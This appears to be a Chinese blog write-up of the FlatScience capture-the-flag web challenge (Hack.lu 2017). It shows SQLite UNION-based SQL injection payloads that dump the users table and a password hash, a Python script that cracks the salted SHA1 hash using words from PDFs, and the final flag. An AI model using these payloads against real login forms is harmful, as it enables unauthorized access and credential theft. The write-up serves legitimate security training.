攻防世界WEB进阶之FlatScience

攻防世界WEB进阶之FlatScience


FlatScience
难度系数: 1星
题目来源: Hack.lu-2017
题目描述:暂无
题目场景: 略
题目附件: 暂无

一、分析

点击打开场景,发现都是文件下载的内容,是几篇英文文献
上一题有用到的robots.txt,构造一下http://IP:端口/robots.txt
果然有重要内容:
在这里插入图片描述

二、实操

分别进入像个网站,发现有一个是默认是admin账号,尝试使用admin账号进行登录,但是并没有什么反馈
然后尝试使用admin账号在login页面进行登录
测试了很多数据发现输入admin’时会出现报错
在这里插入图片描述
根据报错SQLLite3找到对应的查询数据库的代码
代码:


    CppSQLite3Queryquery = db.execQuery("select * fromtarget_table");
        while(!query.eof())
        {
            cout<<"name:"<<query.getStringField("name")<<"age : "<<query.getIntField("age")<<endl;
            query.nextRow();
        }
        query.finalize();

CppSQLite3Query是一个查询返回对象,查询完后可以利用此类。这里就使用CppSQLite3DB的一个函数

execQuery,只要将查询sql传入即可。

eof函数:判断是否还有数据;

nextRow函数:移到下一条记录;

getStringField函数:获得相应字段的内容,以字符串形式返回;

getIntField函数:获得相应字段的内容,以整形形式返回。
通过分析此处应该存在SQL注入

注意我们在进行漏洞查找的过程中应该要结合浏览器的开发工具一起进行,发现网址泄露了某些参数或者网址,根据GET请求,我们能够迅速判断是参数
在这里插入图片描述
构造?debug参数出现源码泄露

找到关键代码SQL语句:

"SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"

通过SQL语句注入构建我们设计出如下查询的SQL语句:

' union select  name,sql  from sqlite_master--

然后查询到返回包里面有Set-Cookie字段
在这里插入图片描述
+CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))

构造查询密码的SQL:usr=%27 UNION SELECT id, password from Users–+&pw=chybeta
构造查询用户的SQL:usr=%27 UNION SELECT id, name from Users --+&pw=chybeta
构造查询隐藏线索的SQL:usr=%27 UNION SELECT id, hint from Users–+&pw=chybeta
最终的输出数据分别是:
在这里插入图片描述
name=+admin
在这里插入图片描述
name=+3fab54a50e770d830c0416df817567662a9dc85c
在这里插入图片描述
name=+my+fav+word+in+my+fav+paper%3F%21
我们根据这句话洞察到,最终你的密码还是不在我们的网站中,说我最喜欢的词(密码)在我最喜欢的文章中
好吧,还得找到作者最喜欢的文章,但是我们之前查到有密码,所以有可能这个就是作者最喜欢的文章的哈希值
SQL基础知识积累:
UNION :合并两个或者两个以上的SQL语句(默认地,UNION 操作符选取不同的值)
UNION ALL:合并操作符相同的几个SQL语句
#:url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#使用时#号改成url的编码%23就可以了
–:注释(注意后面需要接入一个空格才能正常执行)

这里工作量已经很多了,但是还是得编写脚本,好吧坚持不下去了,找到了一个大佬的脚本,这里直接贴上来:
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

最终得到的密码是:
ThinJerboa
登录到admin.php上拿到Flag

三、答案

至此最终的flag为:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问题。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值